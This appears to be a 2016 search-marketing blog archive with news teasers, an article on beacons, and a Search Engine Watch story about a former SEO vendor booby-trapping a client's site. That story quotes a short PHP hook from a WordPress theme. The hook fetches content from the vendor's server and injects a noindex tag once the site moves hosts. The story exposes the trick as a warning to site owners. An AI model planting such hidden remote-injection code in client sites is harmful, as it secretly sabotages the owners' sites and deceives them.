Month: June 2016

SearchCap: Dynamic search ads, Google Keyword Planner & e-commerce SEO

Below is what happened in search today, as reported on Search Engine Land and from other places across the web.

The post SearchCap: Dynamic search ads, Google Keyword Planner & e-commerce SEO appeared first on Search Engine Land.

Please visit Search Engine Land for the full article.

from Search Engine Land: News & Info About SEO, PPC, SEM, Search Engines & Search Marketing http://searchengineland.com/searchcap-dynamic-search-ads-google-keyword-planner-e-commerce-seo-253121

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SearchCap: Dynamic search ads, Google Keyword Planner & e-commerce SEO

Below is what happened in search today, as reported on Search Engine Land and from other places across the web.

The post SearchCap: Dynamic search ads, Google Keyword Planner & e-commerce SEO appeared first on Search Engine Land.

Please visit Search Engine Land for the full article.

from Search Engine Land: News & Info About SEO, PPC, SEM, Search Engines & Search Marketing http://searchengineland.com/searchcap-dynamic-search-ads-google-keyword-planner-e-commerce-seo-253121

Google says Dynamic Search Ad targeting will soon get better

Query matching set to improve over several months.

The post Google says Dynamic Search Ad targeting will soon get better appeared first on Search Engine Land.

Please visit Search Engine Land for the full article.

from Search Engine Land: News & Info About SEO, PPC, SEM, Search Engines & Search Marketing http://searchengineland.com/google-says-dynamic-search-ad-targeting-will-get-better-253117

What the heck is going on with Google Keyword Planner?

Technical glitches and close variants (sometimes) come to Keyword Planner

The post What the heck is going on with Google Keyword Planner? appeared first on Search Engine Land.

Please visit Search Engine Land for the full article.

from Search Engine Land: News & Info About SEO, PPC, SEM, Search Engines & Search Marketing http://searchengineland.com/heck-going-google-keyword-planner-253062

SMX Advanced recap: Using Paid Search & Social Together to Deliver the Ultimate Knockout Punch

Columnist Amy Bishop shares details from a session at SMX Advanced in which panelists discussed how to best collaborate with cross-functional teams to build integrated paid search and paid social strategies.

The post SMX Advanced recap: Using Paid Search & Social Together to Deliver the…

Please visit Search Engine Land for the full article.

from Search Engine Land: News & Info About SEO, PPC, SEM, Search Engines & Search Marketing http://searchengineland.com/smx-advanced-recap-using-paid-search-social-together-deliver-ultimate-knockout-punch-252910

How e-commerce SEO matters in strategic redesign of web shops

Looking to (re)launch your e-commerce website? Columnist Trond Lyngbø urges you to involve an SEO expert before you make any decisions.

The post How e-commerce SEO matters in strategic redesign of web shops appeared first on Search Engine Land.

Please visit Search Engine Land for the full article.

from Search Engine Land: News & Info About SEO, PPC, SEM, Search Engines & Search Marketing http://searchengineland.com/e-commerce-seo-matters-strategic-redesign-web-shops-252431

Google Maps Android users get multi-stop directions & new Your Timeline features

Currently available only on Android, Google says the new features will be coming soon to iOS.

The post Google Maps Android users get multi-stop directions & new Your Timeline features appeared first on Search Engine Land.

Please visit Search Engine Land for the full article.

from Search Engine Land: News & Info About SEO, PPC, SEM, Search Engines & Search Marketing http://searchengineland.com/google-maps-lets-android-users-get-directions-multiple-stops-one-route-253085

SMX Advanced recap: Dr. Pete’s Guide To The Changing Google SERPs

How have the SERPs changed in recent years, and what’s on the horizon? Contributor Dan Leibson summarizes Dr. Pete Meyers’ presentation from SMX Advanced 2016.

The post SMX Advanced recap: Dr. Pete’s Guide To The Changing Google SERPs appeared first on Search Engine Land.

Please visit Search Engine Land for the full article.

from Search Engine Land: News & Info About SEO, PPC, SEM, Search Engines & Search Marketing http://searchengineland.com/smx-advanced-recap-dr-petes-guide-changing-serps-252999

Why you may need to be aware of booby traps when hiring a new SEO

The online marketing world can be somewhat of a wild west in many regards, with SEO at the center of the chaos.

Of the thousands of providers across Australia there are no shortages of promises, case studies and packages available for every business size. The central premise of SEO is that you will get long-term sustained traffic for your investment.

The industry as a whole has a simple paradox that it must deal with, if they do their job properly, they are theoretically not needed anymore, and then stand to lose a customer. Meanwhile, if they do not do their job properly they are guaranteed to lose a customer.

Within 24 hours of one of my SEO clients deciding they were happy enough with their rankings and deciding to pull out of their retainer, one of my other clients had finally finished their 12-month web design and SEO package with their initial provider.

As I was asking myself “how can I adapt my business to allow for sudden client satisfaction,” my other clients were in the process of having their site migrated to my server.

I arrived at my client’s office to begin a day’s work, and we checked the rankings for their site. The migration had been completed a few days prior and had gone through smoothly.

That abysmal feeling of dread came, as we saw that the site couldn’t be found nestled in its top positions for any of it’s search terms anymore.

The weird thing, as I checked for manual penalties or de-indexation by searching site:example.com, it became apparent that not every page had been dropped. Only the homepage so far.

This at least narrowed the search down, and meant that I could check the source code for the homepage, and see if there was anything odd going on.

Sure enough, there it was:

<meta name= “robots” content=”noindex,follow”/>

This line of code tells Google and other search engines to remove the website from their index, rendering it unfindable. It has its time and place in day-to-day web design and marketing, but clearly does not belong on the homepage of a website that is trying to gain traffic and potential customers.

I decided to fix the problem first and then later deal with the lingering question of ‘why has this code suddenly turned up?’

Once the hunt had begun for where exactly this code was generating from, I became less and less convinced that this was some sort of accident.

Searching within any of the website files for ‘noindex’ turned up nothing, almost like the code wasn’t actually in there anywhere. Even downloading the entire set of website files and running them through a dedicated file searching tool, we couldn’t find a single instance of ‘noindex’ anywhere within the website.

Sure enough though, the noindex code was in there somewhere, and not just the front page it would seem. Google had dropped the front page but had not yet gotten around to deindexing the rest of the pages, even though every page had the code.

The webhosting company that oversaw the migration assured me that they had simply taken the site files and placed them on a server, never touching any of the code. They joined the hunt.

We eventually discovered the source of the code; it was both ingenious and simple.

I received an email from the developer in charge of migrating the site:

We have looked through the code and found the following lines in the themes functions.php file…

add_action(‘wp_head’,’sidebar_config’, 1, 3);
function sidebar_config()
{
$output = file_get_contents(‘http://robots.clients.(*previous suppliers domain*).com.au/’);
echo $output;
}

Disabling only these has resulted in the nofollow,noindex disappearing.

Note that this specifically references to connect to and retrieve a file from robots.clients.(*previous suppliers domain*).com.au and then output the code into your site.”

As I spoke with the developer, he informed me, that this code is only triggered if the site is no longer being hosted on the previous supplier’s website.

The previous suppliers dismissed it as a mistake, initially trying to tell me that it must have happened during the migration, and then later saying that they may have accidentally left the code in there, who knows.

One thing is for sure, these guys who have been in business much longer than I have, know their game well.

When a client drops me, I ask myself “what could I have done to keep them happier?” and “should I perhaps package my services better?”

When a client drops them, their entire site gets deindexed.

I think I prefer the soul-searching quest to provide value that people don’t walk away from, rather than the vindictive attempt to hedge a sites rankings to my server.

from SEO – Search Engine Watch https://searchenginewatch.com/2016/06/30/why-you-may-need-to-be-aware-of-booby-traps-when-hiring-a-new-seo/

How are beacons going to affect search marketing?

Recently I’ve been reading a lot about the effects beacons and proximity marketing may have on search strategy.

(I actually work for a company that makes beacons and management software, so it’s not just me being boring).

I’ve found little doubt that it will bring some very fundamental changes to the way we reach customers, and the type of targeting and data management we’ll need to master in order to do things properly.

Although perhaps not in the way you might think…

edgelands barbican

Improving proximity results

Search Engine Watch has spoken about beacons a lot in the past, but just in case you need a refresher, a beacon is a tiny device that can transmit a signal to any Bluetooth device in range – phones, fitness bracelets, headphones, smartwatches etc.

Usually this happens through an app (although Google in particular are taking steps to remove this friction and enable direct device communication), and before the privacy police wade in, it’s all completely opt-in.

It certainly has some obvious ramifications for local search.

beacon

In the past, we’ve largely been limited to areas defined by map coordinates for localisation. These are fine for locating buildings, but not so hot once people actually enter a space.

Beacons have a big advantage here because they get that location down to an area a couple of metres across, and they allow you to transmit and receive data in realtime. If I’m standing by the apples in your supermarket, you can fire me a coupon.

I’m using that example on purpose by the way, and I’ll explain why in a moment.

Beacons don’t need to be interruptive

For marketers, there seems to be an assumption that beacons are an interruptive marketing tool.

Retail couponing is the most obvious use-case after all, but just as early ecommerce sites learned, couponing is no way to build a successful business. And as the publishing industry is learning, interruptive marketing… just isn’t very good really. People don’t like it in most cases.

As I say though, this is only an assumption. The real value of beacons is actually almost the complete opposite of interruptive.

It is in contextual interactions, which usually rely on either an active request from a user, or passive scanning and data aggregation by the person deploying the beacons.

In other words, if I visit a museum, download it’s app and enable push notifications while I’m there, then I’m actively searching for information abut my location.

If not, then I can still be monitored as an anonymous device that is moving around the museum. Once this data is collected, there is a lot of potential value. Maybe it’s time to move that Rodin statue to a more prominent position (possibly next to the gift shop).

Search will need to become hyper-relevant in an open beacon marketplace

So what does this mean for search?

Currently, a lot of local search isn’t that great. There are plenty of fine examples, but there is certainly an adoption curve, particularly for small businesses.

Do a quick search for something like ‘Bike shop, Shrewsbury’ and you can usually see which businesses have a lot of low-hanging SEO fruit that they just aren’t optimising for.

This is a missed chance, but it is usually being missed because of a lack of familiarity and time. People who are busy running a hardware store don’t often have time or money to really concentrate on good SEO.

As beacon deployment becomes more widespread (and it is going to be), this situation is going to change for the user on the ground. App networks and beacons deployed as general infrastructure in more locations mean that local optimisation is opened up to more players, with more resources. Why should our local bike store be wasting time optimising when Raleigh can be doing it for them?

Local SEO will begin to be a wider concern not for the locations themselves, but for the companies that sell through those locations. And those companies have the resources and processes available to start doing a really good job.

There is however, still a place for the location itself in all this, and that is in adding contextual value, which may not come from purely commercial campaigns.

Recently I visited Edgelands at the Barbican in London, where one of our clients has deployed beacons that guide visitors around the interesting (and slightly confusing) internal space.

The interesting thing here is that it occurs through sound, so that visitors are able to view their surroundings, rather than keeping their eyes glued to their phone screens. It adds context while keeping the visitor engaged with the physical space, rather than having the two vie for attention.

With the rise of experience stores, this is going to become a more important point of differentiation over the next few years. Customers won’t want distracting alerts and pop-ups, they’ll want something that provides a richer experience.

From the marketing side, providing these will become a way to deepen brand affinity as much as increase immediate sales.

Search is about to leave its silos behind

This makes location a strange, mixed bag for search. On one side, brands providing advertising through app networks and beacon fleets owned by third parties (in my opinion, telcos are currently best placed to handle and benefit from large scale deployment, as they already have large data networks and physical locations).

In many cases, this will be about hyper-localised PPC campaigns. On the other, locations providing realtime SEO, with a shifting set of keywords based on whatever is currently happening in-store (or in-museum, or in-restaurant for instance).

It means that we’ll have to get better at aligning our data and working out which signals really matter, and we’re going to need to get insanely good at management and targeting.

I hate to use this word, but search will need to become more holistic, and even more aligned with marketing. There’s a huge opportunity here for search marketers, customer experience, data management and more.

from SEO – Search Engine Watch https://searchenginewatch.com/2016/06/30/how-are-beacons-going-to-affect-search-marketing/